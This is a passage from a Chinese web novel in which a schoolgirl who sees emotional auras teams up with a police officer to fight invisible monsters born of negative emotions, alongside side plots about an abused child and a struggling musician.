一天的时间很快就过去了,学生们都到了放学的时间。黑木看了看表,他提前处理好了所有的事情,是时候联系一下晴子了。 晴子和风夏正走出校门没多远,黑木的电话就已经打过来了。黑木已经在一家高档咖啡厅里坐下了,晴子询问是否可以带着风夏一起去,黑木欣然同意了,他对这个名字有印象,毕竟在那张纸条上看见过。 两人到达目的地的时候,一眼就觉得是往常绝对不会进去消费的场所,真不知道来这里随便点个东西要花多少钱。 黑木选择了角落的位置,并且把靠墙的位置留给了要来的两个女生,他希望这样的位置可以在心理层面为晴子提供少许安全感和放松感。 “有警察、墙面、朋友的包围,又尽量远离他人,她应该会更容易感到自己并非无助,也更不容易陷入焦虑吧。”正当黑木这么想着,晴子和风夏就已经到了。和他想的一样,晴子果然选择了角落里的那个座位。 黑木示意服务员过来,然后将菜单递给两人。晴子看着菜单倒吸一口凉气,黑木则表示不要多虑,想吃什么就点什么,千万不要客气。 话虽如此,两人还是收着点手,要是真的很熟悉的人也就罢了,在不了解黑木的情况下,她们还真不太好意思。 现在店里还没有什么人,学生不会来这样的地方,大量的上班族也都还在公司里拼命,此刻正是交谈比较好的时候。 黑木率先开口道:“你们社团活动不要紧吗?” 风夏便说:“完全没关系的,我们没有参加社团,所以倒是比别人都清闲很多呢。” “哦?没有什么感兴趣的吗?”黑木回忆道,“记得我上学的时候一直都是田径部的,每天都要被部长严格要求着训练到很晚,正因如此,我现在跑得也很快呢。” “哇——”风夏轻轻拍拍手,“我一直都觉得能进田径部的人都很厉害呢,我之前也只进过学园偶像同好会,对那些体力超好的人相当敬佩。” 这倒是令黑木很是吃惊,“你居然当过偶像吗?不过你确实是又可爱又阳光的人呢。” “哈哈哈,没那么夸张啦,只是自己搞了个小组合,在学校里唱歌跳舞,就是为了好玩而已,也不成什么气候。” 这时晴子道:“别听她这么说,据我了解她原来在学校里还有不少粉丝哦。”她瞥了一眼风夏,看见她身上昂扬的金色光芒,不禁露出会心的笑容。 其实到了高中,也有人一开始就邀请风夏加入这个学校的学园偶像同好会,但是风夏为了陪在晴子的身边而拒绝了邀请。想到这里,晴子脸上的笑容渐渐消失了,她终究还是给风夏添了很多麻烦。 “晴子?” “啊,我在听。”风夏的一声呼唤把晴子的思绪拉了回来,蛋糕和咖啡已经端上来了,仅仅是闻一闻气味就能让人感到延年益寿,这或许就是金钱的力量。 风夏闭上眼睛,享受地呼吸着这上乘的香气,“黑木先生真是不得了啊,居然知道这么好吃的店,还请我们来,真是太感谢了。而且还是警察,真是改变了我一直以来对警察的想象。” 黑木将一口奶油咽下,“现在警察也真是不好当啊,不知道你本来对警察是什么样的印象,但是这一行真是越来越难做了。现在回想起来,还好我跑得快呢,要不可能成为我那些同事中的一员了,如果香月小姐所说的怪物真的存在,那么我一定是没有还手之力的吧。” 听到黑木已经进入正题,晴子和风夏也严肃起来。晴子看了看周围小声说:“真的没有问题吗?不会被听到吗?” “没事的,小声些就可以了吧。”黑木也看看目前在场的食客们,“他们离得都比较远,应该听不到的。” 晴子还是感觉有些担心,“可我都可以听到他们讲的话啊。” “不会吧。”风夏仔细听了一下道,“我完全听不到啊,只能听到悉悉索索的响声罢了,有些连响声都不明显。” 黑木点点头表示赞同,“我也一样。” 听到两人这么说,晴子虽然还是放不下心来,但是还是开始了自己的描述。 傍晚,谦太回到了家,母亲正在做晚饭,他便回到了自己的房间。拿出了自己昨晚画的画,想起今天弘树说的话,他又不禁嘴角上扬。 拿出笔和纸,他又有了新的点子,他想起了今天看到的工地上的机械,突然想起自己完全没有画出过有机械感的东西。 “如果那样去画了,弘树恐怕会大吃一惊吧。” 他一边回忆着,一边将自己的想象添加进去。尽管他并不觉得自己真的能成为漫画家,但是他还是有些想要做这样的梦,憧憬着成为漫画家的自己。 不知道过了多久,正当他画完了大体的简单的线条,母亲突然走进了房间。她一把抓起昨天的那张画说:“我还以为你懂事了,是因为学习才没听到我叫你吃饭,没想到你居然在干这些!” 她连揉带扯,几下将画撕成数片,把碎片摔在了地上,又一边摇头,一边用手指点着谦太生气地说:“你真是太令我失望了,晚饭别吃了!” 她摔门而出,谦太感到自己的心脏阵阵地痛。他呆呆地看着地上的那些碎片,已经支离破碎的图案,是弘树给予他的认可和鼓励,那角色的利爪已经被揉得变形,不再有着帅气的样子。 店外,三人已经完成了交谈。黑木惊讶于晴子对怪物的描述如此清晰,已经经历了大小案件的黑木判断晴子是一定没有在说谎的。风夏也讲述了自己从朋友以及社交媒体上收集到的信息,与黑木进行了交流。 “我是开车来的,我送你们回去吧。”黑木帮两人开了车门,“请坐吧,虽然不是多好的车,但既然是我约了你们出来,我就得负责到底,还请不要拒绝我。” “那就麻烦啦。”风夏率先坐了上去,晴子见状便也跟着上了车。 风夏说她要看着晴子走进家门,所以他们决定先送晴子回家,然后再去送风夏。 三人有说有笑地前进着,在经过一片一户建的时候,有一些人围在路边有些碍事。黑木放缓了车速,人群见他过来也将路让开。 就当黑木开到人们身边的时候,他发现有两个女人倒在了地上。 黑木说了声抱歉之后从车上下来,然后掏出了自己的证件,“警察!发生什么事了?” 一个拎着菜的家庭主妇说:“我们路过这的时候,发现有两个人就那样倒在地上,有一袋水果也撒到了地上,谁都没敢过去。” 黑木听罢走过去检查了两人的状态,发现两人都已经死亡了。既然是重要的案发现场,黑木没有理由再让任何无关人员靠近这个地方。他正起身要疏散群众,晴子突然摇下车窗,然后挥着手叫他快躲开。 当晴子看见黑木下车之后,对那边的情况也有些好奇,但是她看到两人身上完全没有任何被释放的东西,她便有了不好的想法。毕竟对她来说,即便是已经熟睡甚至昏迷的人,身上仍然会出现微量的黑气或者金光。 黑木接近两人后,晴子感觉房子的门口有点奇怪,随后她便看到有一个怪人从门那里直接穿过门板走了出来。晴子大吃一惊,但她发现附近的人完全不为所动,黑木也仍然是查看那两个人的状态。 “他们怎么无动于衷?难道他们看不见?” 正这么想着,怪人已经抬起了利爪开始向黑木冲过来。晴子赶紧摇下车窗,随后冲着刚起身的黑木大喊:“快躲开!” 她用力向左挥动手臂,表情焦急万分,黑木虽然不知道发生了什么,但是他的身体立即向右躲闪了较长的一段距离。 晴子赶紧打开车门,怪人挥出一爪,并没有打中黑木,但是紧接着就追击过去。她赶紧向黑木喊道:“快跑!” 虽然晴子没有喊往哪里跑,但是既然自己面前的人群没事,刚才又要躲开来自自己左边的什么,再加上晴子开了车门,黑木迅速判断之后立即向右前方跑,然后向晴子靠近。 他也不知道为什么会这么相信晴子的话,但是他总觉得晴子给他的感觉是不一般的,也许是警察的直觉,也许是心疼晴子的私心,他选择了重视晴子的每一句提醒。 看见怪人一爪刚好从黑木的后背附近划过,她冷汗“唰”地就下来了。 没等晴子过去,怪人就追过来又出了一爪。黑木由于是奔着晴子来的,所以完全躲过了怪人的攻击,可是路人就没有这么好的运气了。一对正在围观的情侣被一爪击中,晴子看见利爪从他们身体上穿过去,然后他们就突然倒在了地上。 其他围观的人吓了一跳,有人甚至尖叫了一声,但是大家都没有反应过来,所以只是后退让开了一些距离。 怪人向着左边攻击,那边的人接连倒下,终于,右侧的人反应过来了不对劲,头也不回地拔腿就跑。 黑木和晴子成功汇合,尽管什么都看不到,黑木仍然警惕地看着那边,用胳膊下意识地护住晴子,晴子也死死地盯着那个方向。 怪人向这边奔来,晴子疯狂拍着黑木的手臂,“快躲开!” 两人分开后,晴子一个闪身,看着那一爪从两人中间划下来。几乎是出于身体的本能,晴子的脑海里出现了“好机会”三个字。 她一拳挥向怪人的头部,与上次不同,这一次是结结实实地打在了那里,竟将怪人打了一个踉跄。 黑木看着晴子对着空气一个闪身,随后又对着空气挥了一拳,本来还完全没有任何头绪,也不知道自己应该做些什么,但是下一秒,他就看见一个怪人凭空出现在了他的面前! “碰到了!”晴子看着自己的右手和被打中的怪人也十分吃惊。 黑木反应极快,掏出手枪就对着怪人打了数发。子弹打到怪人身上击出火花,并发出完全不像打进去了的声音。怪人只是后退了一点,用肉眼并没有看出怪人受到了什么伤害。 怪人的眼睛看向了还在车里的风夏,风夏吓得蜷缩在车里把自己的包挡在身前。晴子瞳孔一缩,她快步冲过去,把正要迈开步子的怪人的上半身抱住就往旁边甩。 她也没想到自己这么有劲,竟然真的让怪物挪了地方,虽然没把它摔倒。趁着怪人重心不稳她又是几拳挥了过去,每一下打在怪人身上都仿佛令怪人受到了很重的伤害。 黑木换好弹夹,在晴子拉开距离之后对着怪人的眼睛来了几发。不得不说他的枪法真的很准,但是即便是眼睛的地方,也只是炸了几下火花,并没有被子弹击破。他已经没有备弹,剩下的真正的以防万一的备用弹夹都在车里。 即便打光了子弹,他也不想让晴子独自面对这样的对手。他冲过去一个侧踢踢向怪人,但是出乎意料又在情理之中的,怪人完全不为所动,倒是他反而因为猛冲而后退了几步。 晴子跟着就又是一拳,这一拳又将怪人打退。黑木看到这一幕十分费解,不过当下形势又无法让他有时间思考太多。怪人也不是那么脆弱,即便被打退了,仍然很快重整旗鼓,晴子只能避退,只是黑木的车挨了一爪,不但车门变形,车内的风夏也是尖叫了一声。 “可恶,完全没有办法打倒它啊!” 晴子的精神高度集中,怪物连出四爪,都被晴子躲了过去。晴子都没想到自己反应这么快。黑木趁机绕到怪人背后尝试抱住它的双臂,可是怪人力量很大,黑木死死贴住怪人的后背,仍然被甩得相当吃力,而且很难抱得住。 晴子赶紧冲上去,尽管怪人已经挣开,但她还是抓住机会左右开弓对着怪人的脸就是几拳。怪人此时突然变了招数,就在晴子打完想要暂时拉开距离的时候,怪人抬腿就是一脚。 晴子腹部刺痛一下滚到了地下,怪人冲过去对着她就是一爪。黑木拼命冲上去拉,脸上被怪人的手肘重重地打在了脸上。尽管拉到了,但还是让晴子的背后受了一爪,要是没拉到的话,恐怕这一爪就不知道有多深了。 鲜血流了下来,晴子疼得大叫了出来。她在地上看了一眼车门的地方,风夏还在里面,如果自己倒下,那就真的全完了。可是她真的不知道怎么赢,她只能咬紧牙拼命爬起来。 “给我死啊!”她怒吼着又出了一拳。 她打出这一拳之后,突然感觉这一拳有些不太一样,即便是出拳的她自己也感觉到似乎蕴含着什么力量。而怪人再接了这一拳之后,不是像以往一样只被打得偏头或者打退一点,而是后退了好几步,最后倒在了地上。 怪人在地上滚了一圈,颤颤巍巍地捂着胸口想要起身,但是它的胸口被打的地方如蛛丝般皲裂,黑色的裂缝中,黑气疯狂地逸散,这不仅被晴子看到,黑木同样可以看到。 随后,它无法支撑这个伤害,全身都化作了黑烟,只是令人没想到的是,这股黑烟猛地冲进了晴子的身体。 晴子心脏狠狠一跳,整个人眼前一黑就倒了下去。 房间里,晴子正在奶奶家吃饭。她抬头看了一眼电视上的节目,感觉还挺有意思,可是此时,母亲突然一巴掌扇了过来,她的鼻子瞬间出血,脸上感到十分麻木。 她赶紧抓起餐巾纸擦拭自己的血,母亲则是冷眼看着她,“吃饭看什么电视!” 晴子感到十分莫名其妙,手中的忙乱和大脑中的空白甚至让她反应不过来,奶奶也赶紧说:“你打孩子干什么呀,不过也并没有帮忙的意思,只是在一边看着而已。” 晴子慢慢才回过神来,愤怒地盯着母亲,可是母亲却怒目圆睁道:“你再看一眼!”她只得低下头去,委屈地抽泣,脸上的痛感慢慢回来,让眼泪像流水一样往下滑。 吃完饭,母亲将她叫到一旁。实际上母亲和奶奶并不对付,明明母亲并没有做错什么,奶奶却经常对母亲冷嘲热讽,父亲也完全不懂得维护自己的妻子。这次母亲突然打她,只是在证明自己有能力管孩子罢了,只是晴子却成为了这种闹剧的牺牲品。 听完母亲的解释,晴子完全不接受这样的说法,自己只是个无辜的被牵扯进去的人,却是唯一受伤的人。但是她没有能力反抗,只能把一切都咽到肚子里,她认为母亲并不只是为了证明自己,也是在用弱小的她泄愤。 之前也是,平时说着要她说出自己 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点开一个视频,里面是对事件的报道和对受害者家属的采访。 男人红着眼睛说:“我真的不知道发生了什么,我正在回家的电车上就接到联系,妻子就那样离我而去了。我们的孩子还那么小就没有妈妈了,他今后要怎么办啊!我的妻子还和我说过,以后要一起走下去,一起白头到老,两个人牵手去高山上看日出……我明明那么爱她……” 明明是看起来那么精壮的男人,此刻却像一个无助的孩子一样泣不成声。擦干眼泪的晴子被他的情绪感染,又在一次抹起了眼睛。 吸鼻子的声音令风夏从睡梦中醒来,她缓缓睁开眼睛,发现晴子已经坐了起来,原本脑袋还晕乎乎的她脑袋瞬间清醒,一下就扑了过来。 “太好了,太好了,太好了……”风夏死死抱着晴子的脖子嘴里面不停地说着这三个字,她真的害怕自己一松手,晴子就会离自己而去。 开车到医院之后,嘴角出血的黑木抱起晴子就跑了进去,那时候晴子就已经高烧了,后背红了一片,直接被推进了急救室。两人在外面等了一个小时,晴子才被推了出来。 “对不起,我什么都做不到,我只能缩在车里。”风夏十分明白晴子正是为了救自己而上去和怪物拼命,她难以想象平时叫服务员都要瞻前顾后的人,要去面对那样的怪物到底需要多大的勇气。 晴子也用脸颊和她贴贴,“没事啦,我这不是好好的嘛。” “你还说!如果不是黑木先生眼疾手快,我可能就要失去你了!” 晴子反倒是轻轻笑了出来,“总觉得,真是很少见这样的风夏啊,你是不是已经爱上我了。” 风夏明明还挺严肃的,却也噗嗤一下笑了出来,她后退一点抹了一下眼角,“笨蛋,都这样了还开玩笑。” 警视厅中,黑木已经将怪物的事情详细地进行了说明,由于并没有拍照,也没有摄像头,他单说很难讲得清楚。他真的很想隐瞒晴子的事情,但是晴子实在是管穿了整个事件,改变一点说法就会令描述失去说服力。 警察现在对晴子密切关注,黑木心中也下定了决心,如果有人想要对晴子不利,他一定会全力以赴保护这个女孩。 警察们心里也明白,他们并没有令晴子的事情被媒体知道,这令黑木姑且松了口气,一旦晴子的事情被大众所知,恐怕她的身份并不会是打败怪物的英雄,而是没有救下受害者的罪人。 想到这,黑木眯起了眼睛,他下定了决心,一定要想尽办法解决事件。于是他上报上级后找到了科搜研,仔细讲述了目前配枪的火力不足问题,希望科搜研有办法去分析怪物并找到蛛丝马迹,还有就是想办法提升枪械火力。 连续两起事件,考虑到晴子在第一起事件中就提到了怪物,并且描述怪物带着眼罩,于是他们分析这起事件恐怕是不同怪物作为,所以警视厅成立了特别对策小组。尽管人数暂时不多,但是至少开始派人一门心思负责这类事件了。 科搜研中,不少警察正在为事件头疼,即便是一腔热血也不知道从何下手。这时,一条信息发送到了黑木的手机上,他打开一看,正是晴子发来的信息。 黑木眼前一亮,一方面是晴子已经醒来,另一方面是晴子发来了重要的线索。 黑木走到桂田西人的旁边将手机递给他,后者擦擦手,接过了黑木的手机,好好地将信息阅读了一遍。 “负面情绪?” “似乎是这么说的呢。” 桂田西人紧皱眉头,“这就有点麻烦了,我们的仪器怎么说也检测不出人的情绪啊,除非将仪器连在人的身上,即便如此也只能通过呼吸、血压、脉搏、腺体分泌等取得一些数据罢了。再说了,我们怎么能有先见之明知道哪个人要出问题呢?” 黑木点点头,“是啊,我也只能说,我大概想出了一些东西,但是不容易起到关键性的作用。” “总之讲讲。” “根据香月小姐之前给我讲过的详细细节和这次的情报综合来看,她的哥哥就是上一次的怪物的产生者,并且因为他的死亡,导致怪物也一同消失。那么这次的怪物,通过我们这两天对第一被害者孩子、以及对第二被害者丈夫的采访,那个孩子是怪物产生者的可能性很大。而由此我们可以有一个设想,就是怪物是在其产生者附近活动的,并且不会伤害其产生者。” “确实是合理的推断,也确实没有实质性的用处啊。”桂田沉思道,“现在有两种方式,一种是出现人员死亡的时候立即将香月晴子接到附近,另一个就是,通过排查想办法自己分析出产生者是谁,然后把那个人干掉。” “真是一本正经地说出了可怕的话啊,第二种完全没有可能,还要把同事们也搭进去。” “所以我们必须借助香月晴子的力量,并且似乎必须在有人死去之后才能进行补救。” 黑木看着桌上的各种东西心情十分复杂,“不得不说,做警察真的很讨厌这样的情况,只能等着无辜的人去死什么的,我并不想接受这样的现实。” 桂田拍了拍黑木的肩膀,“别灰心嘛,总是我们试着和香月晴子合作一下,我们试着看看能不能用自己的仪器发现怪物们的痕迹或者能量,前两次每次都是你在场,下次我们也希望可以见一见那个女孩。” 在风夏的卧室里,晴子正和风夏一起聊天。医生虽然想不明白,但是说晴子的状态很好,已经达到了自己休养的标准。风夏强烈要求要照顾晴子,所以让晴子到自己家去住。 风夏的父母之前就听说了晴子的一系列事情,都表示十分欢迎,并且非常感谢。最后经过商量,便让晴子搬过去和他们同住,他们已经决定要把晴子当自己的女儿一样抚养。 正聊着,晴子接到了黑木的电话,不过简单说了几句之后便挂断了。 风夏好奇地问道:“谁啊?黑木先生?” 晴子点点头,“他问我能否和警方合作,我表示同意了,就说了这个。” “那些事件应该还会发生吧?”风夏拉住晴子的手,“我真的不想看着你再次面临那样的危险,但是我也知道你非去不可,真是矛盾啊。” “没事的,这是只有我才能做到的事。” “我之前就想问了,你真的不害怕吗?你那么坚定地就要去做这件事,你还有可能碰到那种可怕的怪物啊。” “当然是会怕的。”晴子说着点开之前自己看的那个视频,“你看,我真的看不得这样的东西,我见不得无辜的人这样痛苦地流泪。既然我有可以对抗那些东西的力量,我就必须要去站在他们面前。我不想让他们也失去家人和朋友甚至是自己的生命,只要我能够去拯救,我就要尽可能一个不落地救下所有人。” “这么说可能有些自私,我只在乎你可以好好地活下去。不过当然,我也希望可以救下那些人。” 卧室的门被敲响,风夏应了一声之后,母亲推开门道:“吃饭啦,风夏扶着点晴子,小心些哦。” 两人答应一句之后,晴子站了起来。 “没问题吗?”风夏赶紧起身挽住她的胳膊,“慢点啊。” 晴子慢慢活动了一下说:“我感觉确实没什么问题,就连疼痛都不怎么明显了,现在后背还挺舒服的。” 吃了饭,风夏的母亲拿着新的绷带和两人一同进了卧室。尽管医生说应该不用换绷带,但是母亲还是表示绷带有的是,换了好一些。她慢慢把晴子身上旧的绷带拆下来,结果她和风夏都傻了眼。 晴子的后背虽然还有四道爪痕,但是现在已经完全结痂。绷带已经完全没有任何止血或者保护伤口的作用,现在唯一的意义就是避免睡觉的时候蹭到痂。 “正常来说,伤口好得这么快吗?”母亲难以置信地看向风夏。 风夏赶紧摇了摇头,“不会吧,哪有这么快的,那些伤口应该挺深的吧。” 晴子让她们帮她拍张照片,她自己看了之后也是大吃一惊,不过在场的三个人完全没有头绪。母亲只能把绷带换上之后,提醒晴子注意别蹭着,剩下的就什么也做不了了。 同样是卧室里,谦太木纳地看着自己桌上的一张奖状。自己突然地就失去了母亲,而父母早已离婚,今后的自己难道要去父亲的地方生活吗?说实话,他完全不想去。 父亲丝毫不懂得体谅任何人,这也是父母关系爆发冲突的直接原因。母亲原本是家庭主妇,但父亲并不尊重母亲在家的付出,在离婚之后,母亲或许真的不希望自己和孩子被人看不起。 但是话又说回来,自己的心情也没有被人重视过,除了弘树。谦太拿起用胶带粘起来的那幅画,自己明明曾经那么难受,可是如今虽然不至于说是毫无感觉,却也感到相当麻木。他不明白自己这样算不算心理不正常,他只知道,未来的路确实只能自己走下去了。 3. 骆驼 一家餐厅中,几位员工正在做准备。这个地段非常好,这片区域有很多写字楼,不过并没有什么人在这家餐厅里吃饭。 “请慢用。”一位女员工将餐品放在桌子上之后,慢悠悠地走到一位男员工的旁边,“青山君,还没有忙完吗?” “啊,是的。”被叫青木的员工抬头回应了一下之后就立即回到了工作之中,他正在一个本子上写些什么。 女员工问道:“在做笔记啊?” “嗯。” “你手又在抖哦,没事吧?” 青木连忙将笔记放下,然后把两只手握在一起深呼吸了好几下。他实在是太紧张了,每一次进行工作的时候,他都会无数次地担心自己可能会搞砸,他必须坚持集中注意力,并且反复反思自己才行。 女员工伸了个懒腰,随手端起一杯饮料。看着店内有说有笑的食客,看着正向店内张望的小狗,她感到十分惬意。 没过多久,一声铃声突然响了起来,原来是青木的闹铃。青木是在四天前定的,而女员工也知道了这个铃声意味着什么。就在铃声响起的那一刻,女员工放下了杯子,顺手重新整理了一下衣着,随后做了个深呼吸。 “来了。” 女员工话音刚落,餐厅的门就被推开。来人是每天都会在这里吃饭的四人组,看着是刚下班的样子。青木的心跳猛然加速,因为他知道已经开始了。 几乎是数分钟之内,原本几乎不怎么有人的餐厅已经坐满了人。 “青木君还没好吗!”女员工一改不久前的样子,几乎是奔走着在端水送菜,后厨的主厨和帮厨也都提着一口气全神贯注地进行着工作。 青木一边将餐放在桌上说完“请慢用”,一边赶紧回应道,“马上就来!” 他想要快点回去上菜,但是却完全没有注意身边的情况,一下撞到了一个正要进店的客人。客人踉跄了一下,虽然赶紧扶住了旁边的椅子,但是也同样撞到了另一个人,使那个端着杯子的客人把冰水浇在了自己身上。 “对不起,对不起。”青木赶紧鞠躬道歉,但是那两人的脸色都不好看。 被青木撞的人还好一些,而洒了水的那个则是看着自己的西装不知所措。 “我下午还有重要的会议啊,真是难以置信!” “实在对不起,实在对不起!” 青木一个劲儿地道歉,但是道歉挽回不了任何事情。女员工一把拉开他,叫他去干活,然后自己开始调节客人的心情。 青木面色苍白地走到窗口边,端起另一桌的菜品。但是由于心不在焉,他居然没有反应过来这碗汤很烫,都已经端起来了,却一下松了手,餐厅里顿时响起了一声清脆的破碎声。 餐厅外,青木回头看了一眼餐厅的门,他已经没有资格继续在那里打工了。 回到家中,他疲惫地靠在床头,脑海中还重复着今天犯下的错误。他看了一眼身边的吉他,这是他一直以来所追求的东西。别人要不然毕业后升学,要不然有了一个工作,但是他想要在音乐的道路上有所发展,所以只能过着一边打工一边努力的生活。 拿起吉他,轻轻波动琴弦,他唱起了自己最喜欢的一首歌。这是他自己作的一首歌,但是完全没有机会唱给别人听,除了自己组建起来的乐队成员和自己的女朋友。 他唱得越来越大声,气息越来越足,不知道他脑海里的是对现在的不满,还是对未来的渴望。但是在唱歌的时候,他总可以忘记烦恼。 咚咚咚! 几声敲门声传来,他停下了演奏,过去打开了门。 一个家庭主妇满脸愁容地说:“那个,我们家的孩子今天发烧在家……” “抱歉抱歉,是我太大声了。” “还好还好,只是孩子确实身体不舒服,所以说……” “我知道,实在是不好意思,我会注意的。” 青木没有任何办法,只得继续鞠躬。家庭主妇也在鞠躬,大概是贯彻着礼节的做法,可是心里又是如何想的呢? 一边叹气一边回到卧室里,正要喝点什么,突然手机来了消息。打开一看,原来是乐队的朋友发来的,“今晚老地方哦,大家不要迟到啦。” 久违地,一抹笑容从青木的脸上浮现。 晚上,一个地下室里,几声电子琴的声音在其中回荡。 女生伸了个懒腰,“呼——已经准备好了,青木好慢啊。” “抱歉抱歉,我刚打完工。”地下室的门突然被推开,青木喘着气冲了进来,背上还背着吉他。 一个男生走到他身边和他击了个掌,“辛苦了,来干吧!” “好!” 这是四个人组成的乐队,青木是吉他兼主唱。剩下三人都已经准备好,青木脱下外套,喝了一口水,然后将吉他挎在肩上。 鼓手的女生敲了四下鼓棒,音乐响起,整个地下室顿时热闹起来。这里是单独租下来的地方,并不会打扰到别人,所以可以尽情演奏。 青木用力地演唱着,投入地拨动着琴弦,将全身置于音乐之中。当最后一段旋律结束之后,他轻轻呼出一口气,然后用食指的关节抹了一下发际线上的细汗。 键盘的女生看着青木道:“青木,感觉你今天好用力啊。” “我也觉得。”男生附和道,“你还好吗?我离你最近,应该是感觉最强烈的,今天很郁闷吗?” “不,没什么。” “没事的,我有时候也会这样的。”男生关切地说,“那种想要把什么东西大喊出来的感觉,我是能听出来的。” “真没什么。”青木突然笑出来。 键盘的女生也被带着轻轻笑起来,“突然怎么了?” “不,只是突然觉得有你们真好啊什么的。” “这就有点肉麻了呦。”鼓手的女生第一次出声,她捧着脸,满脸都是期待,“不过明天就是我们的演出了,如果状态不错的话,今晚就再好好打磨一下吧!” “好!”鼓手的女生率先举起了拳头,三人也跟着举起了拳头,夜晚的地下室里充满了蓬勃的朝气。 一个健身房里,晴子已经做好了准备运动。这里各种器材都很齐全,大的落地窗可以让房间中充满阳光,往窗外看就是一个十分精致的枯山水。 黑木走到晴子身边道:“其实我个人更喜欢真的水,但是这个院子要是放水的话还是有些小了,毕竟我总喜欢在水里头养点什么。” “呀,黑木先生真是不得了啊。”风夏打心底感叹道,“就目光所及的这些东西,应该要花很多钱吧,警察真的能挣这么多吗?” 说完,风夏突然觉得有些唐突了,连忙道歉。黑木则是毫不在意,“对于自己需要的和喜欢的东西来说,多投入一些也能给自己带来愉快,我向来都很舍得给自己花钱的。” 话虽如此,看着黑木自己拥有的这么大的宅子,风夏还是觉得这对一个年轻的警察来说相当魔幻。 看见晴子准备好了,黑木便开始指导她锻炼。 在上一场战斗中,黑木意识到晴子的实力还是相当差的。既没有战斗的技巧,也没有足够灵活的头脑。因为他自己对怪物造成的伤害实在太低,所以他把晴子带来这里,希望提高她的整体能力。 风夏主动提出跟着一起来训练,黑木也欣然同意,对他来说,如果风夏可以给晴子带来正面的作用,那么风夏也应当成为自己照顾的对象。 经过了一个小时的运动,黑木已经掌握了晴子目前的身体素质。老实说,这个身体素质还是有些差了。其实速度和短时间爆发的力量相当可以,但是耐力简直惨不忍睹。 “你平时不怎么跑步吗?” 晴子不好意思地说:“我还是挺懒的,也因为这个给风夏添了不少麻烦。” 黑木回忆道:“那你还真厉害啊,就这样的身体素质,真亏你能打得赢那个怪物呢,按理说你应该很快就会没劲儿了才对啊。” “可能是意志在支持着我吧。”晴子看了一眼风夏,风夏感觉心里暖暖的。 “不管怎么说,我肯定会帮你变强的。”黑木递给晴子一双拳击手套,“目前只有你可以对怪物造成有效的伤害,为了有能力保护自己和更多的人,一起加油吧。” “嗯!”晴子眼神坚定地点了一下头。 黑木练过相当一段时间的散打,不过一下子上散打的教学,对晴子来说难度太高了,况且对新手来说,腿并不是那么容易用的。所以目前就先从上半身开始,让晴子建立起拳头的招式概念和肌肉记忆。 不得不说作为一个格斗新手,晴子的动作相当笨拙,就连普通人胡乱打架的本事,她都不怎么具备。 黑木对此是很有耐心的,毕竟不是每个人一开始都那么强,经过练习一定可以很快成长起来的。 “一定要记得,力量要从腿部通过腰传给手臂,刚才这一下你的扭胯不到位。” 黑木采取的办法是让晴子尽可能地标准每一个动作,从最基本的发力教起。他在讲解了原理和要领之后,让晴子反复同样的动作,然后每次都对其进行纠正和讲解。 时间很快过去,转眼就到了中午。晴子瘫倒在了地上,不断喘着粗气,但是脸上带着满足的笑容。 风夏没有练得那么狠,她蹲在晴子身边,用毛巾帮晴子擦着头上的汗水。 “怎么样?运动一下其实感觉还不错吧?”黑木喝下一口自己准备的饮料,“其实练久了之后反而没有一开始那么累了吧?” “不不不,已经要累死了。” 看见晴子脸上的笑容,黑木也笑了起来,“先休息休息吧,中午请你们吃饭。” “好诶!”两个女孩都振臂高呼,虽然晴子是在地下就是了。 已经有几天没有发现怪物了,黑木也在此期间和两个女孩混熟了,警视厅直接取消了他其他的所有工作,就让他专心负责这一系列事件,也让他担任特别对策小组的组长。 一个仓库内,青木正在搬运货物。原本中午还需要打工,现在被餐厅开除之后,下午工作的时候精神头一下子好了不少。好在餐厅是日结工资,所以倒是利利索索地结束了。 一个男人从叉车上下来,“青木小弟,今天看你很有活力啊。” “确实,今天好好休息了一下,然后吃了顿好的呢。” 青木很喜欢这个男人,这是他在这个工作场所中唯一的朋友。尽管年龄比自己大了不少,但是却很合得来。 男人欣慰地看着这个努力的年轻人,这个年轻人也是自己工作之中一个很好的调节剂,总是让自己感到阳光和朝气。 “我记得你之前好像说,你今天有演出是吗?在哪里啊?” 青木眼前一亮,“你想来看吗?在一家live house,我把地址写给你吧。” 他把叉车停下,从胸口的小口袋里掏出笔和便签,然后撕下一张,写下了一个地址。 “给你。” “哦——这家我也听说过啊,好像还有些名气的,我女儿似乎时不时会去那。你不得了啊,居然可以在这种地方演出!” “哪里哪里,过奖了,其实我们也是新人,好不容易获得店主的认可了。”青木的脸稍微红了起来,他很喜欢被人认可的感觉,哪怕是客套。 把纸笔装好之后,他便继续投入工作之中,在有人当面表示关注后,晚上的演出已经让他感到有些紧张了。 夜幕降临,城市进入了放松的状态。上班族们大多选择去喝些酒,学生们已经回到家中,而有各自爱好的人们也已经到自己喜欢的场所陆续就位了。 女生们整理着自己的妆容,而男生则是抚摸着自己的琴弦,他们都知道,这是打响名声的一战。 在空气都有些凝重的房间里,电话铃声突然响起。 男生接起电话,两个女生也看向他。 “嗯,嗯?你怎么样!你在哪?好,好,我知道了。” “怎么了?” 男生放下手机,“青木,出车祸了。” 医院里,三人围在青木的床前,已经得到包扎的青木无力地躺在病床上。 “演出呢?”青木用了些力气挤出了几个字,“是啊……”他看了看三人的表情,想想也知道已经付之东流了。 “抱歉。”他的眼角流下了一丝泪水,“都是因为我,我什么都做不好,明明我们四个人都鼓足了干劲的……” 键盘的女生连忙上前安慰道:“没事的青木君,这不怪你,你要好好休养,等你恢复了之后,我们再进行活动吧。” “可是我们还能在那一家演出吗?” “这……” 大家一时语塞,架子鼓的女生轻声道:“老板说,今天来的一个乐队是特意抽了时间的,所以粉丝们也都提前为了他们专门空出时间,现在我们的缺席让我们之后的那个乐队被迫提前登台,因为再靠后的乐队都还没有准备完成,说是不少粉丝都错过了那个乐队的演出,给了这家店差评。” 男生连忙说:“别放在心上,老板说白了就是让我们替他们暖场,本来就是把我们当牺牲品,让他们吃个亏也别在意。” 青木心里明白,自己所在的乐队,风评恐怕已经完蛋了,哪怕并不是故意的,但是那些粉丝仍然会把矛头对准自己的乐队成员,然后店家也会把他们扔出来接受批判来让众人的愤怒从店家本身移开。 自己的乐队让老板亏了很多钱,恐怕在那里已经无法生存,再通过口口相传,真不知道未来乐队还能在哪进行下去。 三人看着青木失去神采的眼睛,心里都不是滋味。但他们又何尝不是如此,要说没有一丝想要埋怨青木的情绪,那一定是假的,这个乐队本身就是由赌上自己全部的人们组成的,每个人都盼着在这一次演出一战启程。 但是大家仍然选择了安慰,毕竟这真的不怪青木。当青木的状态稳定,再安慰自己不迟。 “让我一个人静静吧。”青木闭上了眼睛,他真的不想去接受这一切。 三人见状,又叮嘱了他几句,然后离开了医院。 